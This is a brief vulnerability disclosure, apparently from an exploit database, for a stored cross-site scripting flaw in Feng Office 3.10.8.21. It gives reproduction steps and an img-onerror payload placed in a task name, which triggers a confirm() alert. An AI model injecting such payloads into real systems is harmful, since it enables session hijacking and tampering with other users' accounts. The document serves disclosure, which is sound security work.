Feng Office version 3.10.8.21 suffers from a persistent cross site scripting vulnerability.
# Exploit Title: Feng Office version 3.10.8.21 - Stored XSS
# Exploit Author: tmrswrr
# Vendor Homepage: https://www.fengoffice.com/
# version 3.10.8.21
1 ) Login admin https://127.0.0.1/Feng_Office/index.php?c=access&a=index#
2 ) Click Tasks > "><img src=x onerrora=confirm() onerror=confirm(1)> add task
3 ) Click Add worked hours you will be see xss alert
